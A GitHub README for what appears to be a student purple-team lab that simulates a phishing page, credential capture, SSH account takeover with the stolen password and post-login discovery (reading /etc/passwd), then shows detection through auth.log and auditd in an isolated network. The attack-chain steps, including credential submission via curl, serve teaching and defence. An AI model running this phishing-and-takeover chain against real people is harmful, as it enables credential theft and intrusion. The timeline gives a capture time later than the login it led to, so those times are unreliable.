Skip to content

About

🎯 Phishing β†’ credential theft β†’ SSH takeover β†’ detection. A purple team lab mapped to MITRE ATT&CK, documented with real evidence logs & an incident report.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

Β 

History

4 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🎯 Operation Silent SSH

A purple team lab simulating the #1 cyber threat of 2026: identity-based attacks β€” phishing, credential theft, and SSH account takeover.

Status Platform License MITRE


πŸ“– Overview

This lab demonstrates how a modern attacker can:

  1. Host a convincing phishing page
  2. Harvest credentials from a victim
  3. Use those credentials to log into a remote system via SSH
  4. Perform post-exploitation discovery

...and how a defender can detect every step using native Linux logging.

The lab is based on real-world trends from:

  • CrowdStrike 2026 Global Threat Report
  • INTERPOL African Cyberthreat Assessment 2026
  • Palo Alto Unit 42 2026 Incident Response Report
  • WEF Global Cybersecurity Outlook 2026

All of these identify identity attacks as the dominant threat vector in 2026.


πŸ—οΈ Lab Architecture

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”         β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚   KALI LINUX        β”‚         β”‚   UBUNTU SERVER     β”‚
β”‚   (Attacker)        β”‚         β”‚   (Victim)          β”‚
β”‚   192.168.56.10     │◄───────►│   192.168.56.101    β”‚
β”‚                     β”‚         β”‚                     β”‚
β”‚  β€’ Flask phishing   β”‚         β”‚  β€’ SSH server       β”‚
β”‚  β€’ SSH client       β”‚         β”‚  β€’ victim user      β”‚
β”‚  β€’ creds.txt        β”‚         β”‚  β€’ auditd           β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜         β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
         β”‚                                β”‚
         β”‚    VirtualBox Host-Only        β”‚
         └──────── 192.168.56.0/24 β”€β”€β”€β”€β”€β”€β”€β”˜

🎬 Attack Chain

Phase Action Result
1 Phishing page served on Kali:80 Victim reaches fake SSO login
2 Victim submits credentials creds.txt populated
3 Attacker SSHes with stolen creds Account takeover
4 Post-exploitation discovery whoami, id, cat /etc/passwd
5 Detection auth.log, auditd, systemd-logind fire

⏱️ Timeline

Time (UTC) Event Source
14:27 victim account created adduser
14:46 auditd watch rules configured auditctl
15:57 Phishing server started Flask
16:00:39 Credentials captured creds.txt
15:01:49 SSH login as victim auth.log
15:01:52 auditd logs session init ausearch
15:02:04 Attacker exits; .bash_history written ausearch
15:02:04 Session closed auth.log

Full timeline: see incident-report.md.


πŸ› οΈ Tools Used

Category Tool Purpose
Attacker Python 3 + Flask Fake SSO login page
Attacker OpenSSH client Account takeover
Attacker curl Simulate victim submission
Victim Ubuntu Server 26.04 Target host
Victim OpenSSH server Entry point
Detection auditd Filesystem auditing
Detection journald / auth.log Auth event logging
Detection systemd-logind Session tracking

πŸ“Š MITRE ATT&CK Coverage

Tactic Technique ID
Reconnaissance Active Scanning T1595
Resource Development Acquire Infrastructure: Server T1583.005
Initial Access Spearphishing Link T1566.002
Credential Access Input Capture: Web Portal T1056.003
Initial Access Valid Accounts: Local T1078.003
Discovery System Owner/User Discovery T1033
Discovery Account Discovery: Local T1087.001
Lateral Movement Remote Services: SSH T1021.004
Collection Data from Local System T1005
Defense Evasion Indicator Removal (NOT used) T1070.003

Load the layer in ATT&CK Navigator using mitre/attack-layer.json.


🚨 Key Findings

For attackers:

  • Phishing remains the cheapest, fastest initial access vector
  • A single captured password = full remote access
  • No malware required β€” "living off the land" with SSH

For defenders:

  • Every step was detectable using native Linux logging
  • Session IDs (ses=) correlate events across 4 log sources
  • .bash_history is forensic gold β€” attackers often forget to clear it
  • MFA would have stopped this attack completely

πŸ§ͺ Reproduce the Lab

Prerequisites

  • VirtualBox (or VMware)
  • Kali Linux VM
  • Ubuntu Server VM
  • 16 GB RAM minimum

Steps

  1. Set both VMs to Host-Only network (192.168.56.0/24)
  2. On Ubuntu:
    sudo adduser victim
    echo "PasswordAuthentication yes" | sudo tee /etc/ssh/sshd_config.d/99-lab.conf
    sudo systemctl restart ssh
    sudo apt install -y auditd
    sudo auditctl -w /home/victim -p wa -k victim_home
  3. On Kali:
    cd attack
    sudo python3 phish.py
  4. From Ubuntu: simulate victim
    curl -X POST http://192.168.56.10/ \
      -d "username=victim@company.local" \
      -d "password=Password123"
  5. From Kali: use stolen creds
    ssh victim@192.168.56.101
  6. From Ubuntu: detect
    sudo grep "Accepted password" /var/log/auth.log
    sudo ausearch -k victim_home -ts today
    sudo cat /home/victim/.bash_history

πŸ“ Repository Structure

β”œβ”€β”€ README.md
β”œβ”€β”€ LICENSE
β”œβ”€β”€ .gitignore
β”œβ”€β”€ incident-report.md          # Full IR write-up
β”œβ”€β”€ attack/
β”‚   └── phish.py                # Flask phishing server
β”œβ”€β”€ detection/
β”‚   β”œβ”€β”€ detect.sh               # Real-time alert script
β”‚   └── splunk-queries.spl      # SIEM detection queries
β”œβ”€β”€ evidence/                   # Raw log evidence
β”œβ”€β”€ mitre/
β”‚   └── attack-layer.json       # ATT&CK Navigator layer
└── screenshots/                # 18 documented screenshots

βš–οΈ Legal Disclaimer

This lab was performed in an isolated, host-only network with no external connectivity. All IPs are private (192.168.56.0/24). No real systems, credentials, or user data were involved.

Never run these techniques against systems you don't own or have written authorization to test.


πŸ“š References


πŸ‘€ Author

Evans Davou Cybersecurity Student | Purple Team Enthusiast


πŸ“ License

MIT β€” see LICENSE for details.

About

🎯 Phishing β†’ credential theft β†’ SSH takeover β†’ detection. A purple team lab mapped to MITRE ATT&CK, documented with real evidence logs & an incident report.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Used by

Contributors

Languages